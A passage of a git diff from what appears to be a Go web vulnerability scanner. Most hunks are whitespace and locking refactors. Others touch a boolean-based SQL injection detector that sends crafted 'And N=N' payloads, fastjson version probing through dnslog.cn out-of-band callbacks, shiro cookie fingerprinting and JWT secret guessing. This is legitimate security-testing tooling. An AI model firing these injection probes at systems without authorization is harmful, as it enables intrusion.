method string, contentType string, header // array := string() iobody := bytes.NewReader(body) req, err := http.NewRequest(method, uri, iobody) - + for k, v := range headers { req.Header[k] = []string{v} } - + if err != nil { logging.Logger.Error(err.Error()) return nil, err } - + reader, err := req.MultipartReader() if err != nil { logging.Logger.Error(err.Error()) return nil, err } - + _, params, err := mime.ParseMediaType(contentType) if err != nil { logging.Logger.Error("mime.ParseMediaType :", err) @@ -137,7 +137,7 @@ func ParseUri(uri string, body []byte, method string, contentType string, header if value, ok := params["boundary"]; ok { boundary = value } - + for { var isfile = false if reader == nil { @@ -151,7 +151,7 @@ func ParseUri(uri string, body []byte, method string, contentType string, header logging.Logger.Error("mime.ParseMediaType :", err) return nil, err } - + body, err := ioutil.ReadAll(p) if err != nil { p.Close() @@ -161,7 +161,7 @@ func ParseUri(uri string, body []byte, method string, contentType string, header if p.FileName() != "" { isfile = true } - + variations.MimeType = multipartData variations.Params = append(variations.Params, Param{ Name: p.FormName(), @@ -173,7 +173,7 @@ func ParseUri(uri string, body []byte, method string, contentType string, header IsFile: isfile, Index: iindex, }) - + variations.OriginalParams = append(variations.OriginalParams, Param{ Name: p.FormName(), Boundary: boundary, @@ -184,7 +184,7 @@ func ParseUri(uri string, body []byte, method string, contentType string, header IsFile: isfile, Index: iindex, }) - + p.Close() } default: @@ -211,7 +211,7 @@ func ParseUri(uri string, body []byte, method string, contentType string, header } else { return nil, fmt.Errorf("%s POST data is empty", uri) } - + } else if strings.ToUpper(method) == "GET" { if !funk.Contains(uri, "?") { return nil, fmt.Errorf("%s GET data is empty", uri) @@ -236,7 +236,7 @@ func ParseUri(uri string, body []byte, method string, contentType string, header return nil, fmt.Errorf("%s variations is nil", method) } return &variations, nil - + } else { err = fmt.Errorf("%s method not supported", method) } @@ -272,11 +272,11 @@ func (p *Variations) Release() string { // bodyBuf := &bytes.Buffer{} bodyWriter := multipart.NewWriter(&buf) // bodyWriter.CreateFormFile(p.Params[0], p.Params[0].Filename) - + if p.Params[0].Boundary != "" { bodyWriter.SetBoundary(p.Params[0].Boundary) } - + for _, param := range p.Params { if param.IsFile { h := make(textproto.MIMEHeader) @@ -304,7 +304,7 @@ func (p *Variations) Release() string { } } } - + return buf.String() } @@ -328,7 +328,7 @@ POST 返回 artist=')”,)'(())')( func (p *Variations) SetPayloadByIndex(index int, uri string, payload string, method string) string { // 对 payload 进行 url 编码 payload = url.QueryEscape(payload) - + if strings.ToUpper(method) == "POST" { for idx, kv := range p.Params { // 判断是否为不可更改的参数名 @@ -343,7 +343,7 @@ func (p *Variations) SetPayloadByIndex(index int, uri string, payload string, me p.Release() return str } - + } } else if strings.ToUpper(method) == "GET" { u, err := url.Parse(uri) @@ -362,14 +362,14 @@ func (p *Variations) SetPayloadByIndex(index int, uri string, payload string, me stv := p.Release() str := strings.Split(uri, "?")[0] + "?" + stv v.Set(kv.Name, kv.Value) - + p.Set(kv.Name, p.OriginalParams[idx].Value) p.Release() return str } } } - + return "" } diff --git a/pkg/reverse/dig_pm.go b/pkg/reverse/dig_pm.go index 5c69d94..ec2d014 100644 --- a/pkg/reverse/dig_pm.go +++ b/pkg/reverse/dig_pm.go @@ -36,20 +36,20 @@ func GetSubDomain() *Dig { logging.Logger.Errorln(err) return nil } - + dig := &Dig{} err = json.Unmarshal([]byte(resp.Body), &dig) if err != nil { logging.Logger.Errorln(err) return nil } - + // 强制转一下 if dig.SubDomain != "" { dig.Domain = dig.FullDomain dig.Key = dig.SubDomain } - + return dig } @@ -63,11 +63,11 @@ func PullLogs(dig *Dig) bool { logging.Logger.Errorln(err) return false } - + if !funk.Contains(resp.Body, "null") && funk.Contains(resp.Body, dig.Key) { dig.Msg = resp.Body return true } - + return false } diff --git a/pkg/reverse/dnslog_cn.go b/pkg/reverse/dnslog_cn.go index 071d987..abc2e8d 100644 --- a/pkg/reverse/dnslog_cn.go +++ b/pkg/reverse/dnslog_cn.go @@ -19,17 +19,17 @@ type DnslogCn struct { func GetDnslogUrl() *DnslogCn { session := util.RandomLetterNumbers(8) - + headers := map[string]string{ "Cookie": "PHPSESSID=" + session, } resp, err := httpx.Request("http://www.dnslog.cn/getdomain.php", "GET", "", headers) - + if err != nil { logging.Logger.Errorln(err) return nil } - + return &DnslogCn{ resp.Body, session, @@ -41,15 +41,15 @@ func GetDnslogRecord(session string) string { "Cookie": "PHPSESSID=" + session, } resp, err := httpx.Request("http://www.dnslog.cn/getdomain.php", "GET", "", headers) - + if err != nil { logging.Logger.Errorln(err) return "" } - + if resp.Body == "[]" { return "" } - + return resp.Body } diff --git a/pkg/task/scan.go b/pkg/task/scan.go index 5a1cf7b..b550f98 100644 --- a/pkg/task/scan.go +++ b/pkg/task/scan.go @@ -6,6 +6,7 @@ import ( "github.com/yhy0/Jie/scan" "path" "strings" + "sync" ) /** @@ -17,6 +18,8 @@ import ( - PerServer 对每个domain的 **/ +var scanLock sync.Mutex + func (t *Task) Run(in *input.CrawlResult) { t.AddWg(in.Host) go t.PerServer(in) @@ -40,9 +43,9 @@ func (t *Task) PerServer(in *input.CrawlResult) { if t.ScanTask[in.Host].PerServer[plugin.Name()] { continue } - t.Lock.Lock() + scanLock.Lock() t.ScanTask[in.Host].PerServer[plugin.Name()] = true - t.Lock.Unlock() + scanLock.Unlock() t.AddWg(in.Host) go func(p scan.Addon) { defer t.DoneWg(in.Host) @@ -84,16 +87,16 @@ func (t *Task) PerFolder(in *input.CrawlResult) { if t.ScanTask[in.Host].PerFolder[plugin.Name()+"_"+parentDir] { continue } - t.Lock.Lock() + scanLock.Lock() t.ScanTask[in.Host].PerFolder[plugin.Name()+"_"+parentDir] = true - t.Lock.Unlock() + scanLock.Unlock() // 说明拆分的目录扫描了,跳过 if t.ScanTask[in.Host].PerFolder[plugin.Name()+"_"+p] { continue } - t.Lock.Lock() + scanLock.Lock() t.ScanTask[in.Host].PerFolder[plugin.Name()+"_"+p] = true - t.Lock.Unlock() + scanLock.Unlock() t.AddWg(in.Host) go func(a scan.Addon, targetUrl, path string) { @@ -123,19 +126,21 @@ func (t *Task) PerFile(in *input.CrawlResult) { func (t *Task) AddWg(host string) { t.WgAddLock.Lock() // 保护对ScanTask映射的访问 - defer t.WgAddLock.Unlock() + wg := t.ScanTask[host].Wg + t.WgAddLock.Unlock() // 解锁,以便其他goroutine可以操作WaitGroup /* Add() 时不能使用 t.WgLock 因为 sizedwaitgroup.SizedWaitGroup 中的逻辑是 当 add 满时, 再次 add 会阻塞住,所以这里就会发生阻塞,不会释放锁,又因为AddWg 和 DoneWg 同时使用一个锁,导致程序发生死锁 */ - t.ScanTask[host].Wg.Add() + wg.Add() } func (t *Task) DoneWg(host string) { t.WgLock.Lock() // 保护对ScanTask映射的访问 - defer t.WgLock.Unlock() - t.ScanTask[host].Wg.Done() + wg := t.ScanTask[host].Wg + t.WgLock.Unlock() // 解锁,以便其他goroutine可以操作WaitGroup + wg.Done() } func (t *Task) WaitWg(host string) { diff --git a/pkg/task/task.go b/pkg/task/task.go index fdaa0a5..5996340 100644 --- a/pkg/task/task.go +++ b/pkg/task/task.go @@ -41,9 +41,9 @@ type Task struct { Pool *ants.Pool // 协程池,目前来看只是用来优化被动扫描,减小被动扫描时的协程创建、销毁的开销 WG sync.WaitGroup // 等待协程池所有任务结束 ScanTask map[string]*ScanTask // 存储对目标扫描时的一些状态 - Lock sync.Mutex // 对 Distribution函数中的一些 map 并发操作进行保护 - WgLock sync.Mutex // ScanTask 是一个 map,运行插件时会并发操作,加锁保护 - WgAddLock sync.Mutex // ScanTask 是一个 map,运行插件时会并发操作,加锁保护 + // Lock sync.Mutex // 对 Distribution函数中的一些 map 并发操作进行保护 + WgLock sync.Mutex // ScanTask 是一个 map,运行插件时会并发操作,加锁保护 + WgAddLock sync.Mutex // ScanTask 是一个 map,运行插件时会并发操作,加锁保护 } type ScanTask struct { @@ -86,15 +86,22 @@ func (t *Task) Distribution(in *input.CrawlResult) DistributionTaskFunc { Target: in.Host, } - // 并发修改 in t.ScanTask,加锁保证安全 - t.Lock.Lock() + // 并发修改 in t.ScanTask,加锁保证安全, 使用全局唯一锁 + lock.Lock() if in.Headers == nil { in.Headers = make(map[string]string) } else { if value, ok := in.Headers["Content-Type"]; ok { in.ContentType = value + } else if value, ok = in.Headers["content-type"]; ok { + in.ContentType = value } } + lock.Unlock() + + if strings.Contains(in.ContentType, "application/octet-stream") || strings.Contains(in.ContentType, "image/") || strings.Contains(in.ContentType, "video/") || strings.Contains(in.ContentType, "audio/") { + return + } var hostNoPort string _host := strings.Split(in.Host, ":") @@ -104,6 +111,7 @@ func (t *Task) Distribution(in *input.CrawlResult) DistributionTaskFunc { hostNoPort = in.Host } + lock.Lock() if t.ScanTask[in.Host] == nil { t.ScanTask[in.Host] = &ScanTask{ PerServer: make(map[string]bool), @@ -119,7 +127,6 @@ func (t *Task) Distribution(in *input.CrawlResult) DistributionTaskFunc { // cdn 只检测一次 if !t.ScanTask[in.Host].PerServer["cdnCheck"] { t.ScanTask[in.Host].PerServer["cdnCheck"] = true - lock.Lock() if _, ok := output.IPInfoList[hostNoPort]; !ok { // cdn 检测 matched, value, itemType, dnsData := util.CheckCdn(hostNoPort) @@ -146,10 +153,9 @@ func (t *Task) Distribution(in *input.CrawlResult) DistributionTaskFunc { if itemType == "cdn" || cdn { in.Cdn = true } - } - lock.Unlock() } + lock.Unlock() msg.HostNoPort = hostNoPort @@ -157,7 +163,9 @@ func (t *Task) Distribution(in *input.CrawlResult) DistributionTaskFunc { fingerprints := fingprints.Identify([]byte(in.Resp.Body), in.Resp.Header) if len(fingerprints) > 0 { msg.Fingerprints = append(msg.Fingerprints, fingerprints...) + lock.Lock() in.Fingerprints = util.RemoveDuplicateElement(append(in.Fingerprints, msg.Fingerprints...)) + lock.Unlock() } msg.SiteMap = append(msg.SiteMap, in.Url) @@ -179,7 +187,9 @@ func (t *Task) Distribution(in *input.CrawlResult) DistributionTaskFunc { _, err := jwt.ParseJWT(jwtString) if err == nil { // 没有报错,说明解析 Jwt 成功 msg.Fingerprints = util.RemoveDuplicateElement(append(msg.Fingerprints, "jwt")) + lock.Lock() in.Fingerprints = util.RemoveDuplicateElement(append(in.Fingerprints, msg.Fingerprints...)) + lock.Unlock() jwt.Jwts[jwtString] = true secret := jwt.GenerateSignature() if secret != "" { @@ -203,13 +213,14 @@ func (t *Task) Distribution(in *input.CrawlResult) DistributionTaskFunc { // 没有检测到 shiro 时,扫描的请求中添加一个 请求头检测一下 Cookie: rememberMe=3 // TODO 这里不对,添加到这里,返回的数据包并没有经过这里,放到 httpx.request(...) 中 进行指纹检测的话,怎么返回获取指纹?还是说对于这种指纹检测,主动进行一次发包 (不太想使用这种方式) if !util.InSliceCaseFold("shiro", in.Fingerprints) { + lock.Lock() if in.Headers["Cookie"] != "" { in.Headers["Cookie"] = in.Headers["Cookie"] + ";rememberMe=3" } else { in.Headers["Cookie"] = "rememberMe=3" } + lock.Unlock() } - t.Lock.Unlock() // 更新数据 output.SCopilot(in.Host, msg) @@ -237,12 +248,12 @@ func (t *Task) Distribution(in *input.CrawlResult) DistributionTaskFunc { if !strings.HasSuffix(in.ParseUrl.Path, ".css") && !strings.HasSuffix(in.ParseUrl.Path, ".js") { // 插件扫描 t.Run(in) - t.Lock.Lock() + lock.Lock() // 收集参数 paramNames, err := util.GetReqParameters(in.Method, in.ContentType, in.ParseUrl, []byte(in.RequestBody)) - if err != nil { - logging.Logger.Errorln("GetReqParameters err:", err) + if err != nil && !strings.Contains(err.Error(), "invalid semicolon separator in query") { + logging.Logger.Errorln("GetReqParameters err:", err, in.Url, in.Method, in.ContentType, in.ParseUrl.Query(), in.RequestBody) } else { in.ParamNames = paramNames // 看请求、返回包中的参数是否包含敏感参数 @@ -271,7 +282,7 @@ func (t *Task) Distribution(in *input.CrawlResult) DistributionTaskFunc { if conf.Plugin["poc"] { t.ScanTask[in.Host].PocPlugin = pocs_go.PocCheck(in.Fingerprints, in.Target, in.Url, in.Ip, t.ScanTask[in.Host].PocPlugin, t.ScanTask[in.Host].Client) } - t.Lock.Unlock() + lock.Unlock() } else { // 下面这些使用去重逻辑,因为扫描结果不会被别的插件用到 if isScanned(in.UniqueId) { @@ -281,19 +292,19 @@ func (t *Task) Distribution(in *input.CrawlResult) DistributionTaskFunc { if strings.HasSuffix(in.ParseUrl.Path, ".js") { // 对于 js 这种单独判断是否扫描过,减少消耗 if strings.HasPrefix(in.Resp.Body, "webpackJsonp(") || strings.Contains(in.Resp.Body, "window[\"webpackJsonp\"]") { - t.Lock.Lock() msg.Fingerprints = util.RemoveDuplicateElement(append(msg.Fingerprints, "Webpack")) + lock.Lock() in.Fingerprints = util.RemoveDuplicateElement(append(in.Fingerprints, msg.Fingerprints...)) - t.Lock.Unlock() + lock.Unlock() } // 前端 js 中存在 sourcemap 文件,即 xxx.js.map 这种可以使用 sourcemap 等工具还原前端代码 match := rex.FindStringSubmatch(in.Resp.Body) if match != nil { - t.Lock.Lock() msg.Fingerprints = util.RemoveDuplicateElement(append(msg.Fingerprints, "SourceMap")) + lock.Lock() in.Fingerprints = util.RemoveDuplicateElement(append(in.Fingerprints, msg.Fingerprints...)) - t.Lock.Unlock() + lock.Unlock() output.OutChannel <- output.VulMessage{ DataType: "web_vul", Plugin: "SourceMap", @@ -324,7 +335,6 @@ func (t *Task) Distribution(in *input.CrawlResult) DistributionTaskFunc { } if response.StatusCode == 200 && !scan_util.IsBlackHtml(response.Body, response.Header["Content-Type"], parseUrl.Path) { - i := &input.CrawlResult{ Target: in.Target, Url: v, @@ -345,9 +355,9 @@ func (t *Task) Distribution(in *input.CrawlResult) DistributionTaskFunc { } } } - t.Lock.Lock() + lock.Lock() t.ScanTask[in.Host].Archive = true - t.Lock.Unlock() + lock.Unlock() }() } } diff --git a/pkg/util/cdnCheck.go b/pkg/util/cdnCheck.go index ee61789..ceac056 100644 --- a/pkg/util/cdnCheck.go +++ b/pkg/util/cdnCheck.go @@ -17,7 +17,7 @@ var client = cdncheck.New() func CheckCdn(target string) (cdn bool, value string, itemType string, dnsData *retryabledns.DNSData) { var err error - + ip := net.ParseIP(target) // 这种是域名 if ip == nil { @@ -39,7 +39,7 @@ func CheckCdn(target string) (cdn bool, value string, itemType string, dnsData * } } } - + if itemType == "cdn" || Contains(value, "cdn") { cdn = true } diff --git a/pkg/util/file.go b/pkg/util/file.go index 72efd39..49576f3 100644 --- a/pkg/util/file.go +++ b/pkg/util/file.go @@ -11,7 +11,7 @@ import ( // Exists 判断所给路径文件/文件夹是否存在 func Exists(path string) bool { - _, err := os.Stat(path) //os.Stat获取文件信息 + _, err := os.Stat(path) // os.Stat获取文件信息 if err != nil { if os.IsExist(err) { return true @@ -38,7 +38,7 @@ func IsFile(path string) bool { // ReadFileAsLine 读取文件并返回一个字符串切片 func ReadFileAsLine(path string) ([]string, error) { lineSlice := make([]string, 0) - + if !IsFile(path) { return nil, os.ErrNotExist } @@ -47,7 +47,7 @@ func ReadFileAsLine(path string) ([]string, error) { logging.Logger.Errorf("Open file %s error", path) return nil, err } - + buf := bufio.NewReader(file) for { line, err := buf.ReadString('\n') @@ -62,7 +62,7 @@ func ReadFileAsLine(path string) ([]string, error) { } } } - + return lineSlice, nil } diff --git a/pkg/util/parameter.go b/pkg/util/parameter.go index 1df59cb..184fcb5 100644 --- a/pkg/util/parameter.go +++ b/pkg/util/parameter.go @@ -36,12 +36,12 @@ func ExtractParameters(u, method string, requestBody string, header map[string]s } else if strings.EqualFold(method, "POST") && requestBody != "" { // 测试 post 请求 // 解析 POST 请求的请求体 postParams, err := url.ParseQuery(requestBody) - + if err != nil { logging.Logger.Errorln(u, err) return nil } - + if strings.Contains(header["Content-Type"], "application/x-www-form-urlencoded") { // 解析 POST 请求的请求体 postParams, err = url.ParseQuery(requestBody) @@ -50,9 +50,9 @@ func ExtractParameters(u, method string, requestBody string, header map[string]s return nil } } else if strings.Contains(header["Content-Type"], "json") { // TODO - + } - + for paramName := range postParams { if SliceInCaseFold(paramName, ParamFilter) { continue @@ -60,6 +60,6 @@ func ExtractParameters(u, method string, requestBody string, header map[string]s params = append(params, paramName) } } - + return params } diff --git a/pkg/util/uniqueness.go b/pkg/util/uniqueness.go index bef83b9..091a631 100644 --- a/pkg/util/uniqueness.go +++ b/pkg/util/uniqueness.go @@ -28,8 +28,10 @@ func UniqueId(req *proxy.Request) string { // 为请求生成唯一标识符 key, err := getRequestKey(req) if err != nil { - logging.Logger.Errorln(err) - return "" + // 这种可能是加密的,导致提取不到参数 + if !strings.Contains(err.Error(), "invalid semicolon separator in query") { + logging.Logger.Errorln(err) + } } return key @@ -55,7 +57,8 @@ func getRequestKey(req *proxy.Request) (string, error) { paramNames, err := GetReqParameters(req.Method, req.Header.Get("Content-Type"), req.URL, req.Body) if err != nil { - return "", err + hash := md5.Sum([]byte(data)) + return hex.EncodeToString(hash[:]), err } // 对查询参数名称进行排序,以确保相同的参数集合具有相同的哈希值 diff --git a/scan/PerFile/fastjson/Detect/detect.go b/scan/PerFile/fastjson/Detect/detect.go index 32d920a..cba3899 100644 --- a/scan/PerFile/fastjson/Detect/detect.go +++ b/scan/PerFile/fastjson/Detect/detect.go @@ -57,6 +57,7 @@ func Version(url string, client *httpx.Client) Utils.Result { result.Version = jsonType result.Payload = payload result.Request = resp.RequestDump + result.Response = resp.Body return result } logging.Logger.Debugln("[" + result.Url + "] :" + "[+] 正在进行版本探测") @@ -66,6 +67,7 @@ func Version(url string, client *httpx.Client) Utils.Result { result.Version = Utils.FJ_UNDER_48 result.Payload = payloads.Dns_80 result.Request = resp.RequestDump + result.Response = resp.Body return result } version, resp = DnslogDetect(url, payloads.Dns_68, session, client) @@ -74,11 +76,13 @@ func Version(url string, client *httpx.Client) Utils.Result { result.Version = Utils.FJ_BEYOND_48 result.Payload = payloads.Dns_68 result.Request = resp.RequestDump + result.Response = resp.Body return result } result.Version = Utils.FJ_BETWEEN_48_68 result.Payload = payloads.Dns_68 result.Request = resp.RequestDump + result.Response = resp.Body return result } version, resp = DnslogDetect(url, payloads.Dns_80, session, client) @@ -86,6 +90,7 @@ func Version(url string, client *httpx.Client) Utils.Result { result.Version = Utils.FJ_BETWEEN_69_80 result.Payload = payloads.Dns_80 result.Request = resp.RequestDump + result.Response = resp.Body return result } version, resp = DnslogDetect(url, payloads.Dns_80, session, client) @@ -93,11 +98,13 @@ func Version(url string, client *httpx.Client) Utils.Result { result.Version = Utils.FS_BEYOND_80 result.Payload = payloads.Dns_80 result.Request = resp.RequestDump + result.Response = resp.Body return result } result.Payload = payloads.Dns_48 + " | " + payloads.Dns_68 + " | " + payloads.Dns_80 result.Version = version result.Request = resp.RequestDump + result.Response = resp.Body return result } else { logging.Logger.Debugln("客户端与dnslog平台网络不可达") @@ -208,6 +215,8 @@ func DnslogDetect(target string, payload string, session string, client *httpx.C if dns_80.FindString(body) != "" { return "80", httpRsp } + + httpRsp.Body = body return "Recorded", httpRsp } diff --git a/scan/PerFile/fastjson/Utils/factory.go b/scan/PerFile/fastjson/Utils/factory.go index 3056a0e..32aadf0 100644 --- a/scan/PerFile/fastjson/Utils/factory.go +++ b/scan/PerFile/fastjson/Utils/factory.go @@ -151,7 +151,7 @@ func DEPENDENCY_ERR_DETECT_FACTORY() map[string]string { payloads[DependencyList[i]] = buffer.String() } return payloads - + } func SCAN_RESULTS_OUTPUT_FACTORY(result Result) string { diff --git a/scan/PerFile/sql/bool.go b/scan/PerFile/sql/bool.go index e201761..1c5e591 100644 --- a/scan/PerFile/sql/bool.go +++ b/scan/PerFile/sql/bool.go @@ -18,13 +18,13 @@ import ( func (sql *Sqlmap) checkBoolBased(pos int, closeType string) bool { var payload string var err error - + for index, param := range sql.Variations.Params { if index == pos { payload = fmt.Sprintf(`%v/**/And/**/%v%v%v=%v%v`, closeType, closeType, util.RandomNumber(1, 9999), closeType, closeType, util.RandomNumber(1, 9999)) - + Payload := payload - + payload = sql.Variations.SetPayloadByIndex(param.Index, sql.Url, param.Value+payload, sql.Method) if payload == "" { continue @@ -35,31 +35,31 @@ func (sql *Sqlmap) checkBoolBased(pos int, closeType string) bool { } else { res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers) } - + if err != nil { logging.Logger.Debugln(err) continue } - + // 每种检测方式都加上这个报错检测 sql.DBMS = checkDBMSError(sql.Url, param.Name, payload, res) if sql.DBMS != "" { return true } - + // 1. 获取第一次条件为假时的相似度,作为之后的标准,即临界点 condition, criticalRatio := sql.comparison(res.Body, res.StatusCode, -1) - + // 相似,下一个 if condition { continue } - + // 2. 发送逻辑真请求 randnum := util.RandomNumber(1, 9999) - + payload = fmt.Sprintf(`%v/**/And/**/%v%v%v=%v%v`, closeType, closeType, randnum, closeType, closeType, randnum) - + payload = sql.Variations.SetPayloadByIndex(param.Index, sql.Url, param.Value+payload, sql.Method) if payload == "" { continue @@ -69,22 +69,22 @@ func (sql *Sqlmap) checkBoolBased(pos int, closeType string) bool { } else { res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers) } - + if err != nil { logging.Logger.Debugln(err) continue } - + condition, _ = sql.comparison(res.Body, res.StatusCode, criticalRatio) - + // 不相似,下一个 if !condition { continue } - + // 3. 第三次发送逻辑假请求 payload = fmt.Sprintf(`%v/**/And/**/%v%v%v=%v%v`, closeType, closeType, util.RandomNumber(1, 9999), closeType, closeType, util.RandomNumber(1, 9999)) - + payload = sql.Variations.SetPayloadByIndex(param.Index, sql.Url, param.Value+payload, sql.Method) if payload == "" { continue @@ -94,30 +94,30 @@ func (sql *Sqlmap) checkBoolBased(pos int, closeType string) bool { } else { res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers) } - + if err != nil { logging.Logger.Debugln(err) continue } - + condition, _ = sql.comparison(res.Body, res.StatusCode, criticalRatio) - + // 相似,下一个 if condition { continue } - + // 不相似,认为存在布尔注入, 下面进行误报检测 - + // 4. 误报检测,随机生成三个数字,将这三个数字组成不同逻辑,反复确认页面相似度 randnum1 := util.RandomNumber(1, 9999) randnum2 := util.RandomNumber(1, 9999) randnum3 := util.RandomNumber(1, 9999) - + // 4.1 逻辑真 - + payload = fmt.Sprintf(`%v/**/And/**/%v%v%v=%v%v`, closeType, closeType, randnum1, closeType, closeType, randnum1) - + payload = sql.Variations.SetPayloadByIndex(param.Index, sql.Url, param.Value+payload, sql.Method) if payload == "" { continue @@ -127,21 +127,21 @@ func (sql *Sqlmap) checkBoolBased(pos int, closeType string) bool { } else { res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers) } - + if err != nil { logging.Logger.Debugln(err) continue } - + condition, _ = sql.comparison(res.Body, res.StatusCode, criticalRatio) - + if !condition { continue } - + // 4.2 逻辑假 payload = fmt.Sprintf(`%v/**/And/**/%v%v%v=%v%v`, closeType, closeType, randnum1, closeType, closeType, randnum2) - + payload = sql.Variations.SetPayloadByIndex(param.Index, sql.Url, param.Value+payload, sql.Method) if payload == "" { continue @@ -151,68 +151,68 @@ func (sql *Sqlmap) checkBoolBased(pos int, closeType string) bool { } else { res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers) } - + if err != nil { logging.Logger.Debugln(err) continue } - + condition, _ = sql.comparison(res.Body, res.StatusCode, criticalRatio) - + if condition { continue } - + // 4.3 逻辑假 payload = fmt.Sprintf(`%v/**/And/**/%v%v%v=%v%v`, closeType, closeType, randnum2, closeType, closeType, randnum1) - + payload = sql.Variations.SetPayloadByIndex(param.Index, sql.Url, param.Value+payload, sql.Method) if payload == "" { continue } - + if sql.Method == "GET" { res, err = sql.Client.Request(payload, sql.Method, "", sql.Headers) } else { res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers) } - + if err != nil { logging.Logger.Debugln(err) continue } - + condition, _ = sql.comparison(res.Body, res.StatusCode, criticalRatio) - + if condition { continue } - + // 4.4 逻辑真 payload = fmt.Sprintf(`%v/**/And/**/%v%v%v=%v%v`, closeType, closeType, randnum3, closeType, closeType, randnum3) - + payload = sql.Variations.SetPayloadByIndex(param.Index, sql.Url, param.Value+payload, sql.Method) if payload == "" { continue } - + if sql.Method == "GET" { res, err = sql.Client.Request(payload, sql.Method, "", sql.Headers) } else { res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers) } - + if err != nil { logging.Logger.Debugln(err) continue } - + condition, _ = sql.comparison(res.Body, res.StatusCode, criticalRatio) - + if !condition { continue } - + // // 4.5 逻辑假 这里注释掉,因为有的注入点在,这里就是返回真,和原来的结果一样 // payload = fmt.Sprintf(`%v/**/And/**/%v%v%v %v%v`, closeType, closeType, randnum2, closeType, closeType, randnum3) // @@ -239,7 +239,7 @@ func (sql *Sqlmap) checkBoolBased(pos int, closeType string) bool { // if condition { // continue // } - + JieOutput.OutChannel <- JieOutput.VulMessage{ DataType: "web_vul", Plugin: "SQL Injection", @@ -259,8 +259,8 @@ func (sql *Sqlmap) checkBoolBased(pos int, closeType string) bool { logging.Logger.Infof("%s 存在基于布尔的 SQL 注入: [参数名:%v]", sql.Url, param.Name) return true } - + } - + return false } diff --git a/scan/PerFile/sql/error.go b/scan/PerFile/sql/error.go index 0664737..6795280 100644 --- a/scan/PerFile/sql/error.go +++ b/scan/PerFile/sql/error.go @@ -33,9 +33,9 @@ func checkDBMSError(url, param, payload string, res *httpx.Response) string { }, Level: JieOutput.Critical, } - + logging.Logger.Infof("%s %s 检测到数据库报错信息[%s:%s]", url, param, DBMS, err) - + return DBMS } } diff --git a/scan/PerFile/sql/heuristic.go b/scan/PerFile/sql/heuristic.go index 1e8f91a..a6a8162 100644 --- a/scan/PerFile/sql/heuristic.go +++ b/scan/PerFile/sql/heuristic.go @@ -179,7 +179,6 @@ func (sql *Sqlmap) HeuristicCheckSqlInjection() { return } - // 不进行以下检测了,目前没什么收益,减少发包,等优化吧, // for _, pos := range injectableParamsPos { // sql.checkSqlInjection(pos) // } diff --git a/scan/PerFile/sql/sql.go b/scan/PerFile/sql/sql.go index bb0e78a..7af514e 100644 --- a/scan/PerFile/sql/sql.go +++ b/scan/PerFile/sql/sql.go @@ -177,11 +177,11 @@ func (p *Plugin) Scan(target string, path string, in *input.CrawlResult, client doneCh := make(chan bool, 1) - go func() { + go func(ctx context.Context) { // 开始启发式、sql注入检测 sql.HeuristicCheckSqlInjection() doneCh <- true - }() + }(ctx) select { case <-ctx.Done(): diff --git a/scan/PerFile/sql/sql_test.go b/scan/PerFile/sql/sql_test.go index 3ada4f9..be28e39 100644 --- a/scan/PerFile/sql/sql_test.go +++ b/scan/PerFile/sql/sql_test.go @@ -24,18 +24,18 @@ func TestSqlmap(t *testing.T) { logging.Logger = logging.New(true, "", "", true) conf.GlobalConfig = &conf.Config{} conf.GlobalConfig.Http.Proxy = "http://127.0.0.1:8080" - + // 使用 sync.WaitGroup 防止 OutChannel 中的数据没有完全被消费,导致的数据漏掉问题 var wg sync.WaitGroup wg.Add(1) - + go func() { defer wg.Done() for v := range output.OutChannel { fmt.Println(v.PrintScreen()) } }() - + in := &input.CrawlResult{ Url: "http://127.0.0.1/Less-1/?id=2", Method: "GET", @@ -43,12 +43,12 @@ func TestSqlmap(t *testing.T) { Param: []string{"id"}, Headers: map[string]string{}, } - + response, err := httpx.Request(in.Url, in.Method, in.RequestBody, nil) if err != nil { return } - + in.Resp = response sqlPlugin := &Plugin{} client := httpx.NewClient(nil) @@ -60,65 +60,65 @@ func TestSqlmap(t *testing.T) { func TestDiff(t *testing.T) { text1 := "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no." text2 := "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no." - + text1 = "Lorem dolor ipsum asds." text2 = "Lorem dolor sit amet." - + dmp := diffmatchpatch.New() - + diffs := dmp.DiffMain(text1, text2, true) - + // 这里简单粗暴 for _, diff := range diffs { - + switch diff.Type { case diffmatchpatch.DiffInsert: fmt.Println(" [DiffInsert] ", diff.Text) - + case diffmatchpatch.DiffDelete: fmt.Println(" [DiffDelete] ", diff.Text) // case diffmatchpatch.DiffEqual: // _, _ = buff.WriteString(diff.Text) // } } - + } } func TestDiff1(t *testing.T) { text1 := "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no." text2 := "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no." - + prefix, suffix := findDynamicContent(text1, text2) - + /* prefix: natum reque et per. suffix: Facer tritani repreh */ fmt.Println(prefix) fmt.Println(suffix) - + } func TestRemove(t *testing.T) { text1 := "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no." text2 := "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no." - + var sql = Sqlmap{ DynamicMarkings: map[string]string{ "prefix": "", "suffix": "", }, } - + prefix, suffix := findDynamicContent(text1, text2) sql.DynamicMarkings["prefix"] = prefix sql.DynamicMarkings["suffix"] = suffix - + /* 输出内容,现在看是和 sql 一致,但没有经过大量测试,TODO 